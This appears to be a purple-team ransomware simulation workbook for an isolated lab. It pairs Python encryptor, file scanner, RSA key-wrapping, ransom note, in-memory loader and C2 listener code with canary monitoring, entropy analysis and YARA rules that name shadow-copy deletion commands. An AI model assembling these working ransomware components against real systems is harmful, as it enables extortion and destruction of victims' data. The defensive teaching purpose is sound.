Ransomware
Simulation
Workbook

# This should FAIL — no internet = correct isolation
ping -c 3 8.8.8.8

# Expected output:
# ping: connect: Network is unreachable
# OR: 3 packets transmitted, 0 received, 100% packet loss

# Check your current IP (will be in 192.168.x.x range — host-only)
ip a show eth0

# ── Python libraries (all modules) ─────────────────────────────────
pip3 install cryptography psutil

# ── System tools (modules 06, 09, 10) ──────────────────────────────
sudo apt update -q
sudo apt install -y yara foremost binwalk tmux wireshark-common

# ── Verify everything installed correctly ──────────────────────────
python3 -c "
from cryptography.hazmat.primitives.ciphers.aead import AESGCM
from cryptography.hazmat.primitives.asymmetric import rsa
import psutil
print('✓ cryptography library OK')
print('✓ psutil library OK')
print(f'✓ Python {__import__(\"sys\").version.split()[0]}')
"

yara --version && echo "✓ YARA OK"
foremost -V 2>/dev/null | head -1 && echo "✓ foremost OK"
echo "✓ All dependencies ready — proceed to lab setup"

# Create the complete directory tree
mkdir -p ~/lab/{victims,keys,forensics}
mkdir -p ~/lab/attacker/{module_04,module_05,module_06,module_07,module_08,module_09,module_10,purple_team}

# Verify structure
tree ~/lab 2>/dev/null || find ~/lab -type d | sort

# Expected output:
# /home/kali/lab
# ├── attacker
# │   ├── module_04
# │   ├── module_05  ... etc
# ├── forensics
# ├── keys
# └── victims

cd ~/lab/victims

# Plain text documents
for i in $(seq -w 1 10); do
  echo "Confidential document $i
Q3 Revenue: \$4.2M | Employees: 312 | Project Alpha: ACTIVE
Classification: INTERNAL — do not distribute" > doc_$i.txt
done

# CSV data files
echo "salary,name,department,hire_date
95000,Alice Chen,Engineering,2019-03-15
87000,Bob Okafor,Finance,2020-07-22
112000,Carol Singh,Management,2018-01-10
74000,Dave Lima,Sales,2021-11-30" > salary_2024.csv

echo "customer_id,name,email,spend_usd
1001,Acme Corp,billing@acme.com,45200
1002,Beta LLC,accounts@beta.io,12800" > customer_data.csv

# SQL backup file
echo "-- Database backup 2024-Q3
CREATE TABLE users (id INT, name VARCHAR(100), password_hash VARCHAR(64));
INSERT INTO users VALUES (1,'admin','5f4dcc3b5aa765d61d8327deb882cf99');
INSERT INTO users VALUES (2,'alice','d8578edf8458ce06fbc5bb76a58c5ca4');" > database_backup.sql

# Contract document
echo "SERVICE AGREEMENT — Contract #2024-Q3-447
Between: Acme Corp (Client) and TechSec Ltd (Provider)
Value: \$240,000 annually | Duration: 24 months
Signed: 2024-09-01" > contract_2024.txt

# Fake binary files (simulate jpg/pdf without needing real images)
python3 -c "import os; open('photo_001.jpg','wb').write(b'\xff\xd8\xff\xe0' + os.urandom(2048))"
python3 -c "import os; open('report_q3.pdf','wb').write(b'%PDF-1.4' + os.urandom(4096))"

# Canary files (for Module 07 — named alphabetically first)
echo "CANARY — DO NOT MODIFY — $(date)" > AAA_canary_alpha.txt
echo "CANARY — DO NOT MODIFY — $(date)" > AAA_canary_beta.txt

# Verify all files created
echo ""
echo "=== Victim directory contents ==="
ls -lh ~/lab/victims/
echo ""
echo "Total files: $(ls ~/lab/victims/ | wc -l)"

# Start a named tmux session
tmux new-session -s lab

# Inside tmux — essential shortcuts:
# Ctrl+B then %     → split pane vertically (left/right)
# Ctrl+B then "     → split pane horizontally (top/bottom)
# Ctrl+B then →     → move to right pane
# Ctrl+B then ←     → move to left pane
# Ctrl+B then d     → detach session (session keeps running)
# tmux attach -t lab → reattach to lab session
# Ctrl+B then x     → kill current pane

# Quick 3-pane layout for Module 11 purple team exercise:
tmux new-session -s purpleteam \; \
  split-window -h \; \
  split-window -v \; \
  select-pane -t 0

# Result: left pane = blue monitor, top-right = C2 server, bottom-right = red team

# GUI method (easiest):
# VMware menu → VM → Snapshot → Take Snapshot
# Name: "before-module-04" → Click OK

# To restore a snapshot:
# VM → Snapshot → Snapshot Manager → select snapshot → Go To

# ──────────────────────────────────────────────────────────────────
# IMPORTANT: also reset victim files between module runs
# If you ran the encryptor and want a fresh start WITHOUT reverting:

# Delete encrypted files and rebuild victim directory
find ~/lab/victims/ -name "*.locked" -delete
find ~/lab/victims/ -name "ENCRYPTED_KEY.bin" -delete
find ~/lab/victims/ -name "README*" -delete

# Recreate fresh dummy files (re-run section 1.5 block)
bash ~/lab/reset_victims.sh   # after you save section 1.5 as this script

from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
import os, base64

# ─── Step 1: Generate a cryptographically random 256-bit key ───
key = os.urandom(32)          # 32 bytes × 8 = 256 bits
iv  = os.urandom(16)          # AES block size is always 128 bits

print(f"Key (hex): {key.hex()}")
print(f"IV  (hex): {iv.hex()}")

# ─── Step 2: Encrypt a plaintext message ───
plaintext = b"CONFIDENTIAL: Q3 revenue = $4.2M"

# PKCS7 padding — pads to a multiple of 16 bytes
from cryptography.hazmat.primitives import padding
padder = padding.PKCS7(128).padder()
padded = padder.update(plaintext) + padder.finalize()

cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())
enc    = cipher.encryptor()
ciphertext = enc.update(padded) + enc.finalize()

print(f"\nPlaintext : {plaintext}")
print(f"Ciphertext: {base64.b64encode(ciphertext).decode()}")
print(f"Length    : {len(ciphertext)} bytes (from {len(plaintext)} bytes)")

# ─── Step 3: Decrypt using the same key + IV ───
dec       = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend()).decryptor()
padded_pt = dec.update(ciphertext) + dec.finalize()

unpadder  = padding.PKCS7(128).unpadder()
recovered = unpadder.update(padded_pt) + unpadder.finalize()

print(f"\nDecrypted : {recovered}")
print(f"Match     : {recovered == plaintext}")

from cryptography.hazmat.primitives.asymmetric import rsa, padding as asym_padding
from cryptography.hazmat.primitives import hashes, serialization
import os

# ─── Generate a 4096-bit RSA key pair ───
private_key = rsa.generate_private_key(
    public_exponent=65537,
    key_size=4096,
)
public_key = private_key.public_key()

# Serialize keys to PEM format (how they're saved to disk)
pem_private = private_key.private_bytes(
    encoding=serialization.Encoding.PEM,
    format=serialization.PrivateFormat.TraditionalOpenSSL,
    encryption_algorithm=serialization.NoEncryption()
)
pem_public = public_key.public_bytes(
    encoding=serialization.Encoding.PEM,
    format=serialization.PublicFormat.SubjectPublicKeyInfo
)

print("=== Public Key (safe to share) ===")
print(pem_public.decode())
print("=== Private Key (attacker keeps this!) ===")
print(pem_private.decode()[:200], "...")

# ─── Encrypt a small AES key with RSA (OAEP padding) ───
aes_key = os.urandom(32)     # This is the key that encrypts victim files

encrypted_aes_key = public_key.encrypt(
    aes_key,
    asym_padding.OAEP(
        mgf=asym_padding.MGF1(algorithm=hashes.SHA256()),
        algorithm=hashes.SHA256(),
        label=None
    )
)

print(f"\nOriginal AES key (32 bytes): {aes_key.hex()}")
print(f"RSA-encrypted key ({len(encrypted_aes_key)} bytes): {encrypted_aes_key.hex()[:64]}...")

# ─── Decrypt with private key (simulating attacker's decryptor) ───
recovered_aes_key = private_key.decrypt(
    encrypted_aes_key,
    asym_padding.OAEP(
        mgf=asym_padding.MGF1(algorithm=hashes.SHA256()),
        algorithm=hashes.SHA256(),
        label=None
    )
)

print(f"\nRecovered AES key: {recovered_aes_key.hex()}")
print(f"Keys match: {aes_key == recovered_aes_key}")

import os
from pathlib import Path
TARGET_EXTENSIONS = {
    '.txt', '.pdf', '.docx', '.xlsx',
    '.csv', '.jpg', '.png', '.sql',
}
SKIP_DIRS = {'System32', 'Windows', 'Program Files'}

def scan_targets(root_dir: str) -> list[Path]:
    """
    Walk the directory tree and return all target file paths.
    Skips already-encrypted files (.locked extension).
    """
    targets = []
    root = Path(root_dir)
    
    for path in root.rglob('*'):
        # Skip directories and already-encrypted files
        if not path.is_file():
            continue
        if path.suffix == '.locked':
            continue
        # Skip system directories
        if any(skip in path.parts for skip in SKIP_DIRS):
            continue
        if path.suffix.lower() in TARGET_EXTENSIONS:
            targets.append(path)
    
    return targets


if __name__ == '__main__':
    # SAFE: only scan our dummy victim directory
    victims = scan_targets(str(Path.home() / 'lab/victims'))
    print(f"Found {len(victims)} target files:")
    for f in victims:
        size = f.stat().st_size
        print(f"  {f.name:30s} {size:>8,} bytes")

import os, json, struct
from pathlib import Path
from cryptography.hazmat.primitives.ciphers.aead import AESGCM

"""
FILE FORMAT after encryption:
┌─────────────────────────────────────────────┐
│  4 bytes  │ Magic number "LOCK"              │
│  4 bytes  │ Version (0x01)                  │
│ 12 bytes  │ GCM Nonce (IV)                  │
│  4 bytes  │ Original file size              │
│  N bytes  │ Ciphertext + 16-byte GCM tag    │
└─────────────────────────────────────────────┘
"""

MAGIC     = b'LOCK'
VERSION   = 1.to_bytes(4, 'little')

def encrypt_file(filepath: Path, aes_key: bytes) -> Path:
    """
    Encrypt a single file in-place using AES-256-GCM.
    Returns path to the new .locked file.
    Raises ValueError if file is already encrypted.
    """
    if filepath.suffix == '.locked':
        raise ValueError(f"File already encrypted: {filepath}")
    
    # Read original content
    plaintext     = filepath.read_bytes()
    original_size = len(plaintext)
    
    # Generate a fresh 96-bit (12-byte) nonce for GCM
    # CRITICAL: Never reuse a nonce with the same key
    nonce = os.urandom(12)
    
    # Encrypt using AES-256-GCM
    # Additional data binds the metadata to this ciphertext
    aesgcm     = AESGCM(aes_key)
    ciphertext = aesgcm.encrypt(nonce, plaintext, aad=None)
    
    # Build the encrypted file with our custom header
    header = (
        MAGIC +
        VERSION +
        nonce +
        struct.pack('<I', original_size)
    )
    
    # Write .locked file and remove original
    locked_path = filepath.with_suffix(filepath.suffix + '.locked')
    locked_path.write_bytes(header + ciphertext)
    filepath.unlink()   # Delete original (overwrite first in production)
    
    return locked_path


def decrypt_file(locked_path: Path, aes_key: bytes) -> Path:
    """
    Decrypt a .locked file. Verifies GCM authentication tag before
    returning plaintext. Raises InvalidTag if key is wrong.
    """
    raw = locked_path.read_bytes()
    
    # Parse our custom header
    if raw[:4] != MAGIC:
        raise ValueError("Not a LOCK-format encrypted file")
    
    nonce         = raw[8:20]
    original_size = struct.unpack('<I', raw[20:24])[0]
    ciphertext    = raw[24:]
    
    # Decrypt — GCM automatically verifies the auth tag
    aesgcm    = AESGCM(aes_key)
    plaintext = aesgcm.decrypt(nonce, ciphertext, aad=None)
    
    # Restore original filename and write
    original_path = locked_path.with_suffix('')   # removes .locked
    original_path.write_bytes(plaintext[:original_size])
    locked_path.unlink()
    
    return original_path

import os, time, json
from pathlib import Path
from file_scanner import scan_targets
from encryptor import encrypt_file, decrypt_file

VICTIM_DIR  = str(Path.home() / 'lab/victims')
KEY_DIR     = str(Path.home() / 'lab/keys')
LOG_PATH    = Path.home() / 'lab/forensics/encryption_log.json'

def run_encryption_phase():
    """
    Main orchestration function.
    Demonstrates the attacker's perspective.
    """
    print("[*] Starting encryption phase...")
    
    # 1. Generate master AES key
    aes_key = os.urandom(32)
    print(f"[*] Generated AES-256 key: {aes_key.hex()[:16]}... (truncated)")
    
    # In a real attack: key is RSA-wrapped here (see Module 05)
    # For now: store plaintext to enable safe decryption testing
    Path(KEY_DIR).mkdir(exist_ok=True)
    (Path(KEY_DIR) / 'aes_key.bin').write_bytes(aes_key)
    print(f"[*] Key saved to {KEY_DIR}/aes_key.bin")
    
    # 2. Scan for targets
    targets = scan_targets(VICTIM_DIR)
    print(f"[*] Found {len(targets)} target files")
    
    # 3. Encrypt each file, log results
    log = {'timestamp': time.time(), 'encrypted': [], 'errors': []}
    start = time.time()
    
    for target in targets:
        try:
            locked = encrypt_file(target, aes_key)
            log['encrypted'].append({
                'original': str(target),
                'locked'  : str(locked),
                'size'    : locked.stat().st_size,
            })
            print(f"  [+] Encrypted: {target.name} → {locked.name}")
        except Exception as e:
            log['errors'].append({'file': str(target), 'error': str(e)})
            print(f"  [-] Error on {target.name}: {e}")
    
    elapsed = time.time() - start
    log['elapsed_seconds'] = round(elapsed, 3)
    
    # 4. Write forensic log (attackers don't do this — you will analyse it)
    LOG_PATH.parent.mkdir(exist_ok=True)
    LOG_PATH.write_text(json.dumps(log, indent=2))
    
    print(f"\n[*] Done. {len(log['encrypted'])} files encrypted in {elapsed:.3f}s")
    print(f"[*] Forensic log saved to {LOG_PATH}")
    return aes_key


def run_decryption_phase(aes_key: bytes):
    """Simulate the victim's decryption after paying ransom."""
    print("\n[*] Starting decryption phase...")
    locked_files = list(Path(VICTIM_DIR).rglob('*.locked'))
    print(f"[*] Found {len(locked_files)} locked files to restore")
    
    for locked in locked_files:
        restored = decrypt_file(locked, aes_key)
        print(f"  [+] Restored: {locked.name} → {restored.name}")
    
    print("[*] Decryption complete. All files restored.")


if __name__ == '__main__':
    key = run_encryption_phase()
    
    input("\nPress ENTER to run decryption phase (simulates paying ransom)...")
    
    run_decryption_phase(key)

import os
from pathlib import Path
from cryptography.hazmat.primitives.asymmetric import rsa, padding as ap
from cryptography.hazmat.primitives import hashes, serialization

# ═══ ATTACKER SIDE: Run once offline to generate key pair ════════

def attacker_generate_keypair(key_dir: str = None):
    if key_dir is None:
        key_dir = str(Path.home() / 'lab/keys')
    """
    Generates attacker RSA-4096 key pair.
    In a real attack: private key NEVER leaves attacker's server.
    Public key is embedded in the ransomware payload.
    """
    private_key = rsa.generate_private_key(
        public_exponent=65537,
        key_size=4096,
    )
    public_key = private_key.public_key()
    
    # Serialize
    pem_priv = private_key.private_bytes(
        serialization.Encoding.PEM,
        serialization.PrivateFormat.TraditionalOpenSSL,
        serialization.NoEncryption()
    )
    pem_pub = public_key.public_bytes(
        serialization.Encoding.PEM,
        serialization.PublicFormat.SubjectPublicKeyInfo
    )
    
    kd = Path(key_dir)
    kd.mkdir(exist_ok=True)
    (kd / 'attacker_private.pem').write_bytes(pem_priv)  # stays with attacker
    (kd / 'attacker_public.pem').write_bytes(pem_pub)    # embedded in payload
    
    print("[ATTACKER] RSA-4096 key pair generated")
    return private_key, public_key


# ═══ PAYLOAD SIDE: Runs on victim machine ════════════════════════

def wrap_aes_key(aes_key: bytes, public_key_path: str) -> bytes:
    """
    Encrypts the AES key using the attacker's RSA public key.
    Returns an opaque blob that only the attacker can decrypt.
    """
    pem = Path(public_key_path).read_bytes()
    public_key = serialization.load_pem_public_key(pem)
    
    encrypted_key = public_key.encrypt(
        aes_key,
        ap.OAEP(
            mgf=ap.MGF1(algorithm=hashes.SHA256()),
            algorithm=hashes.SHA256(),
            label=None
        )
    )
    return encrypted_key


def save_encrypted_key_blob(encrypted_key: bytes, output_dir: str):
    """Saves the RSA-wrapped AES key to disk for the attacker to retrieve."""
    blob_path = Path(output_dir) / 'ENCRYPTED_KEY.bin'
    blob_path.write_bytes(encrypted_key)
    print(f"[PAYLOAD] Encrypted key blob saved: {blob_path} ({len(encrypted_key)} bytes)")


# ═══ ATTACKER SIDE: Recovery (simulates decryptor delivery) ══════

def unwrap_aes_key(encrypted_key_path: str, private_key_path: str) -> bytes:
    """
    Decrypts the AES key blob using the attacker's RSA private key.
    This is what happens after ransom is paid — attacker runs their decryptor.
    """
    encrypted_key = Path(encrypted_key_path).read_bytes()
    pem           = Path(private_key_path).read_bytes()
    private_key   = serialization.load_pem_private_key(pem, password=None)
    
    aes_key = private_key.decrypt(
        encrypted_key,
        ap.OAEP(
            mgf=ap.MGF1(algorithm=hashes.SHA256()),
            algorithm=hashes.SHA256(),
            label=None
        )
    )
    print(f"[ATTACKER] AES key recovered: {aes_key.hex()[:16]}...")
    return aes_key


# ═══ Demo run ════════════════════════════════════════════════════
if __name__ == '__main__':
    # Step 1: Attacker generates key pair
    _, pub = attacker_generate_keypair()
    
    # Step 2: Payload generates a random AES key
    aes_key = os.urandom(32)
    print(f"\n[PAYLOAD] Generated AES key: {aes_key.hex()}")
    
    # Step 3: Wrap AES key with RSA public key
    blob = wrap_aes_key(aes_key, str(Path.home() / 'lab/keys/attacker_public.pem'))
    save_encrypted_key_blob(blob, str(Path.home() / 'lab/victims'))
    
    # Step 4: Wipe the plaintext AES key from memory
    aes_key = None   # In C, you'd memset(key, 0, 32) — Python is GC'd
    print("\n[PAYLOAD] AES key wiped from memory. Files encrypted. Ransom note dropped.")
    
    # Step 5: Attacker recovers key after payment
    print("\n--- Simulating ransom payment received ---\n")
    recovered_key = unwrap_aes_key(
        str(Path.home() / 'lab/victims/ENCRYPTED_KEY.bin'),
        str(Path.home() / 'lab/keys/attacker_private.pem')
    )

import os, hashlib, time
from pathlib import Path

def generate_victim_id() -> str:
    """Generate a unique victim ID (hash of machine fingerprint)."""
    fingerprint = (
        os.uname().nodename +
        str(os.getuid()) +
        str(time.time())
    ).encode()
    return hashlib.sha256(fingerprint).hexdigest()[:16].upper()


def drop_ransom_note(target_dir: str, encrypted_count: int, payment_address: str):
    """
    Writes a ransom note HTML file to the target directory.
    This is purely for educational demonstration.
    """
    victim_id = generate_victim_id()
    note_path = Path(target_dir) / 'README_YOUR_FILES_ARE_ENCRYPTED.html'
    
    note_content = f"""
<html><body style="font-family:monospace;background:#111;color:#eee;padding:40px">
<h1 style="color:#e85d3a">YOUR FILES HAVE BEEN ENCRYPTED</h1>
<p>{encrypted_count} files on this system have been encrypted using AES-256-GCM.</p>
<p>Without the decryption key, recovery is IMPOSSIBLE.</p>
<hr>
<h2>How to recover your files</h2>
<p>Your unique victim ID: <strong>{victim_id}</strong></p>
<p>Send payment to: <code>{payment_address}</code></p>
<p>Contact us with your victim ID to receive your decryption key.</p>
<hr>
<p style="color:#888;font-size:12px">[THIS IS A SIMULATION — FOR EDUCATIONAL USE ONLY]</p>
</body></html>
"""
    
    note_path.write_text(note_content)
    print(f"[*] Ransom note written to {note_path}")
    return victim_id

import json, statistics
from pathlib import Path
from datetime import datetime

def analyse_log(log_path: str = None):
    if log_path is None:
        log_path = str(Path.home() / 'lab/forensics/encryption_log.json')
    log = json.loads(Path(log_path).read_text())
    encrypted = log['encrypted']
    
    # ── Basic stats ──────────────────────────────────────────────────
    total_files     = len(encrypted)
    total_bytes     = sum(e['size'] for e in encrypted)
    elapsed         = log.get('elapsed_seconds', 0)
    files_per_sec   = total_files / elapsed if elapsed > 0 else 'N/A'
    
    print("═══ ENCRYPTION EVENT REPORT ═══")
    print(f"Timestamp      : {datetime.fromtimestamp(log['timestamp'])}")
    print(f"Files encrypted: {total_files}")
    print(f"Total bytes    : {total_bytes:,}")
    print(f"Time elapsed   : {elapsed:.3f}s")
    print(f"Speed          : {files_per_sec:.1f} files/sec")
    
    # ── Size ratio (ciphertext overhead) ─────────────────────────────
    # GCM adds a 16-byte auth tag; our header adds 24 bytes
    overhead_per_file = 40  # header (24) + GCM tag (16)
    print(f"\nExpected overhead per file: {overhead_per_file} bytes (header+GCM tag)")
    
    # ── Extension analysis ────────────────────────────────────────────
    ext_counts = {}
    for entry in encrypted:
        # Get the original extension (remove .locked suffix first)
        orig_name = Path(entry['original']).name
        ext = Path(orig_name).suffix.lower()
        ext_counts[ext] = ext_counts.get(ext, 0) + 1
    
    print("\nFiles by extension:")
    for ext, count in sorted(ext_counts.items(), key=lambda x: -x[1]):
        bar = '█' * count
        print(f"  {ext:8s} {bar} ({count})")
    
    # ── Detection timing ─────────────────────────────────────────────
    print(f"\n⚡ Detection window:")
    print(f"   If a SIEM rule triggers after 10 encrypted files,")
    print(f"   {(10/files_per_sec if isinstance(files_per_sec,float) else 0):.2f}s from execution to alert.")
    print(f"   {total_files - 10} files would already be lost.")


analyse_log()

# foremost and binwalk are already on Kali — but install hexedit if missing
sudo apt install -y hexedit

# Check file magic bytes on encrypted files
file ~/lab/victims/*.locked

# Dump first 64 bytes of a locked file in hex
xxd ~/lab/victims/doc_01.txt.locked | head -4

# Look for any plaintext remnants in encrypted files
# (should find none if encryption is correct)
strings ~/lab/victims/doc_01.txt.locked

# Calculate entropy of an encrypted file
# (should be near 7.9–8.0 bits/byte)
python3 -c "
import math, sys
data = open(sys.argv[1],'rb').read()
byte_counts = [data.count(bytes([i])) for i in range(256)]
n = len(data)
entropy = -sum((c/n)*math.log2(c/n) for c in byte_counts if c > 0)
print(f'Entropy: {entropy:.4f} bits/byte (max=8.0)')
" ~/lab/victims/doc_01.txt.locked

# Compare entropy of a normal text file (run BEFORE encryption)
python3 -c "
import math, sys
data = open(sys.argv[1],'rb').read()
byte_counts = [data.count(bytes([i])) for i in range(256)]
n = len(data)
entropy = -sum((c/n)*math.log2(c/n) for c in byte_counts if c > 0)
print(f'Entropy: {entropy:.4f} bits/byte')
" ~/lab/victims/doc_01.txt

import re

def carve_aes_keys_from_dump(dump_path: str) -> list[bytes]:
    """
    Attempt to carve 256-bit (32-byte) AES keys from a memory dump.
    Keys appear as uniform random bytes — no magic number to find them by.
    This heuristic looks for 32-byte sequences with high byte diversity.
    
    Real key carving uses known key schedules or context clues.
    """
    data   = open(dump_path, 'rb').read()
    candidates = []
    
    for offset in range(0, len(data) - 32, 4):
        candidate = data[offset:offset+32]
        unique_bytes = len(set(candidate))
        
        # High uniqueness (>20 distinct bytes) suggests random key material
        if unique_bytes > 20:
            candidates.append((offset, candidate))
    
    print(f"Found {len(candidates)} AES key candidates in dump")
    return candidates


# NOTE: Requires a memory dump file — use /proc/PID/mem in Linux
# or a Volatility-compatible dump for Windows analysis

import hashlib, time, os, json
from pathlib import Path

CANARY_LOCATIONS = [
    str(Path.home() / 'lab/victims/AAA_canary_alpha.txt'),
    str(Path.home() / 'lab/victims/AAA_canary_beta.txt'),
    str(Path.home() / 'lab/victims/zzz_canary_last.txt'),
]

def sha256_file(path: str) -> str:
    h = hashlib.sha256()
    h.update(Path(path).read_bytes())
    return h.hexdigest()


def create_canaries():
    """Plant canary files and record their hashes."""
    baseline = {}
    for path in CANARY_LOCATIONS:
        Path(path).write_text(
            f"CANARY FILE - {path} - created at {time.time()}\n" * 10
        )
        baseline[path] = sha256_file(path)
        print(f"[+] Canary planted: {Path(path).name}")
    
    Path(Path.home() / 'lab/forensics/canary_baseline.json').write_text(
        json.dumps(baseline, indent=2)
    )
    print("[*] Canary baseline saved.")


def monitor_canaries(interval: float = 1.0, max_checks: int = 30):
    """
    Poll canary files every `interval` seconds.
    Alert immediately if any canary is modified or deleted.
    """
    baseline = json.loads(
        Path(Path.home() / 'lab/forensics/canary_baseline.json').read_text()
    )
    print(f"[*] Monitoring {len(baseline)} canary files every {interval}s...")
    
    for check in range(max_checks):
        for path, expected_hash in baseline.items():
            if not Path(path).exists():
                print(f"\n🚨 ALERT: Canary DELETED — {path}")
                print("   RANSOMWARE ACTIVITY DETECTED. Initiating containment.")
                return "DELETED"
            
            current_hash = sha256_file(path)
            if current_hash != expected_hash:
                print(f"\n🚨 ALERT: Canary MODIFIED — {path}")
                print(f"   Expected: {expected_hash[:16]}...")
                print(f"   Got     : {current_hash[:16]}...")
                print("   RANSOMWARE ACTIVITY DETECTED. Initiating containment.")
                return "MODIFIED"
        
        print(f"  [{check+1:02d}/{max_checks}] All canaries intact...", end='\r')
        time.sleep(interval)
    
    print("\n[*] Monitoring complete. No anomalies detected.")


if __name__ == '__main__':
    create_canaries()
    print("\nNow run your encryptor in another terminal and watch this output...")
    monitor_canaries(interval=0.5, max_checks=60)

import base64, os
from cryptography.fernet import Fernet

"""
ATTACKER BUILD STEP (offline):
  1. Write malicious payload as Python bytes
  2. Encrypt it with a hardcoded Fernet key
  3. Embed the ciphertext in the "loader" script
  4. Loader decrypts to bytes at runtime and exec()s them

This is why static scanners miss stage-1: no malicious strings.
We demonstrate with a BENIGN payload ("Hello from stage 2").
"""

# ── Simulate the build step ─────────────────────────────────────────
FERNET_KEY = Fernet.generate_key()
stage2_payload = b"""
print("Hello from stage-2 payload (this would be the ransomware)")
print("In a real loader, this would be exec()'d in memory — never written to disk")
"""

fernet = Fernet(FERNET_KEY)
encrypted_payload = fernet.encrypt(stage2_payload)

print("=== Loader would embed these values ===")
print(f"KEY : {FERNET_KEY.decode()}")
print(f"DATA: {encrypted_payload.decode()[:60]}...")

# ── Simulate the loader execution ────────────────────────────────────
print("\n=== Loader executes on victim machine ===")
decrypted = Fernet(FERNET_KEY).decrypt(encrypted_payload)
exec(decrypted)   # In memory only — never written to disk

# ── Detection note ────────────────────────────────────────────────────
print("""
Detection approach:
  - Hook exec() / compile() calls at the Python interpreter level
  - Monitor for processes that: read encrypted data → decrypt → execute in memory
  - EDR behavioural analysis: 'process creates no child processes but
    opens hundreds of files' is the ransomware signature, not the loader
""")

/*
  YARA rule structure:
  rule  :  {
      meta:       // human-readable metadata (not used in matching)
      strings:    // patterns to search for
      condition:  // logical expression that must evaluate to true
  }
*/

rule ExampleRule : ransomware educational {
    meta:
        description = "Matches files containing ransomware-like patterns"
        author      = "Lab Student"
        severity    = "high"
        reference   = "module_09"

    strings:
        // Plain string (case-sensitive by default)
        $ransom_note   = "YOUR FILES HAVE BEEN ENCRYPTED"

        // Case-insensitive string
        $ransom_lower  = "your files have been encrypted" nocase

        // Wide string (UTF-16LE — common in Windows malware)
        $ransom_wide   = "ENCRYPTED" wide

        // Hex byte pattern (AES S-Box first row — present in many AES implementations)
        $aes_sbox      = { 63 7C 77 7B F2 6B 6F C5 30 01 67 2B FE D7 AB 76 }

        // Regex: matches typical Tor .onion addresses
        $tor_address   = /[a-z2-7]{16,56}\.onion/

        // Regex: RSA public key PEM header
        $rsa_pubkey    = /-----BEGIN (RSA |)PUBLIC KEY-----/

        // Common file extension rename strings
        $ext_locked    = ".locked"
        $ext_enc       = ".enc"
        $ext_crypt     = ".crypt"

        // VSS deletion command
        $vss_delete    = "vssadmin delete shadows" nocase
        $wmic_shadow   = "wmic shadowcopy delete" nocase
        $bcdedit       = "bcdedit /set {default} recoveryenabled No" nocase

    condition:
        // Any 2 of the ransom note strings OR the VSS deletion commands
        // OR an AES S-Box signature combined with a Tor address
        (
            (#ransom_note + #ransom_lower + #ransom_wide) >= 1
            or ($vss_delete or $wmic_shadow or $bcdedit)
            or ($aes_sbox and $tor_address)
            or (2 of ($ext_*) and $rsa_pubkey)
        )
}

import "math"
import "pe"

rule HighEntropyPESection : suspicious {
    meta:
        description = "PE file with a high-entropy section — possible packed/encrypted payload"
        author      = "Lab Student"

    condition:
        // File is a PE binary
        uint16(0) == 0x5A4D  // "MZ" magic
        and pe.is_pe

        // Has at least one section with entropy > 7.2
        and for any section in pe.sections: (
            math.entropy(section.raw_data_offset, section.raw_data_size) > 7.2
        )

        // And the file is larger than 10 KB (avoid false positives on tiny stubs)
        and filesize > 10KB
}

rule EncryptedFileArtefact : ransomware {
    meta:
        description = "File that appears to be ransomware-encrypted (high entropy, custom magic)"

    strings:
        // Our lab's custom magic header "LOCK"
        $magic_lock = { 4C 4F 43 4B }

        // Other known ransomware magic bytes
        $magic_wncry = { 57 4E 43 52 59 }           // WannaCry: "WNCRY"
        $magic_locky = { 00 00 00 00 00 00 00 00 }   // Locky: null header

    condition:
        // Starts with a known magic AND has high entropy body
        (
            $magic_lock at 0
            or $magic_wncry at 0
        )
        and math.entropy(0, filesize) > 7.4
}

/*
  These rules scan PROCESS MEMORY rather than files on disk.
  Run with: yara -p 4 memory_scan.yar 
  Requires root / administrator privileges.
*/

rule RSAKeyInMemory : forensics {
    meta:
        description = "Detects RSA key material in process memory"

    strings:
        $pem_private = "-----BEGIN RSA PRIVATE KEY-----"
        $pem_public  = "-----BEGIN PUBLIC KEY-----"
        $pem_pkcs8   = "-----BEGIN PRIVATE KEY-----"

        // RSA PKCS#1 DER prefix for 4096-bit key
        $rsa_der_4096 = { 30 82 09 }

    condition:
        any of them
}

rule AESKeyScheduleInMemory : forensics {
    meta:
        description = "AES key schedule constants present in memory — possible active encryption"

    strings:
        // AES S-Box bytes (first 16 bytes)
        $sbox_start = { 63 7C 77 7B F2 6B 6F C5 30 01 67 2B FE D7 AB 76 }

        // AES inverse S-Box bytes (first 16 bytes)
        $inv_sbox   = { 52 09 6A D5 30 36 A5 38 BF 40 A3 9E 81 F3 D7 FB }

        // AES round constants
        $rcon       = { 01 02 04 08 10 20 40 80 1B 36 }

    condition:
        $sbox_start and $inv_sbox and $rcon
}

rule RansomNoteInMemory : ransomware {
    meta:
        description = "Common ransom note phrases found in process memory"

    strings:
        $phrase1 = "YOUR FILES HAVE BEEN ENCRYPTED" nocase
        $phrase2 = "bitcoin" nocase
        $phrase3 = "tor browser" nocase
        $phrase4 = "unique ID" nocase
        $phrase5 = "do not rename" nocase
        $phrase6 = "decryption key" nocase

    condition:
        3 of them
}

# YARA is pre-installed on Kali — confirm version
yara --version

# If for any reason it's missing:
# sudo apt install -y yara

# Save your rules to the module_09 folder, then test:

# Test rule against your encrypted files
yara -r ~/lab/attacker/module_09/entropy_detection.yar ~/lab/victims/

# Verbose output — shows which strings matched
yara -s ~/lab/attacker/module_09/entropy_detection.yar ~/lab/victims/doc_01.txt.locked

# Scan recursively, output filenames only
yara -r -l ~/lab/attacker/module_09/entropy_detection.yar ~/lab/ 2>/dev/null

# Compile rules for faster future scanning
yarac ~/lab/attacker/module_09/entropy_detection.yar ~/lab/keys/compiled_rules.yarc

# Memory scan — find the PID of a running python3 process
PID=$(pgrep -f "python3 orchestrator.py" | head -1)
if [ -n "$PID" ]; then
    sudo yara ~/lab/attacker/module_09/memory_scan.yar $PID
else
    echo "Start orchestrator.py first in another pane, then run this"
fi

from http.server import HTTPServer, BaseHTTPRequestHandler
import json, base64, threading, time

received_keys = []

class C2Handler(BaseHTTPRequestHandler):
    def log_message(self, fmt, *args):
        pass   # suppress default logging

    def do_POST(self):
        if self.path == '/register':
            length  = int(self.headers.get('Content-Length', 0))
            payload = json.loads(self.rfile.read(length))
            
            victim_id   = payload.get('victim_id')
            enc_key_b64 = payload.get('encrypted_key')
            
            received_keys.append({
                'victim_id'  : victim_id,
                'received_at': time.time(),
                'key_bytes'  : len(base64.b64decode(enc_key_b64)),
            })
            
            print(f"[C2] Received key from victim: {victim_id}")
            print(f"[C2] Key blob size: {received_keys[-1]['key_bytes']} bytes")
